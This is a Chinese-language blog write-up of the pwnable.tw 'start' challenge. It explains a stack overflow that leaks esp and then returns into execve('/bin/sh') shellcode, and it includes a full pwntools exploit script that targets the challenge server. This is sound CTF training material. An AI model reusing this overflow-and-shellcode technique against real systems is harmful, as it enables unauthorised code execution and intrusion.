pwnable.tw-start-WP

两小时做了第一题,不愧是pwnable.tw

Posted by l0tus on 2023-02-15
Estimated Reading Time 1 Minutes
Words 466 In Total
Viewed Times

现阶段就是复现难题的同时四处找题目刷,今天开始做pwnable.tw。结果这第一道名为start的题目就做了挺久的。

start

pic1
和国内常见的起始题目完全不同的风格,程序通过很短的汇编实现了write、read
看着不像是用ROP的做法,保护全关了,这里考虑利用NX关闭,堆栈可执行实现shellcode
光看汇编比较抽象,自己画一下示意图
pic2
这个是起始的栈示意图,注意到程序开头push了esp,并且后边实现了write,而且read的写入长度参数是0x3c,可以做到溢出覆盖返回地址。利用write将栈中的esp输出
pic3
图右是第一次覆盖之后的,利用0x08048087这一段汇编输出esp
pic5
这是泄露出来的esp
pic4
再次覆盖后示意如图,执行到esp+14h就到了retn,就可以用我们自己的eip控制程序执行的ip,从而执行shellcode
pic6
远程反应比较慢,而且目有点复杂,还需要自己翻一下才能找到flag。
这题使我感受到了比较专业的pwn学习网站的质量,做完觉得是比较简单的题,但是刚拿到手也是没有头绪的。
题目风格也是很二进制的,蛮不错的
pwnable.tw值得继续刷

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*
context.log_level="debug"
#p=process("./start")
p=remote("chall.pwnable.tw","10000")

payload=b'a'*0x14+p32(0x8048087)
p.send(payload)
sleep(0.01)
p.recvuntil(b"CTF:")
esp=u32(p.recv()[:4])
print("esp = ",str(hex(esp)))
eip=esp+0x14
shellcode=asm('\n'.join([
'push %d' % u32('/sh\0'),
'push %d' % u32('/bin'),
'xor edx, edx',
'xor ecx, ecx',
'mov ebx, esp',
'mov eax, 0xb',
'int 0x80',
]))
payload=b'a'*0x14+p32(eip)+shellcode
#gdb.attach(p)
p.send(payload)
p.interactive()


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !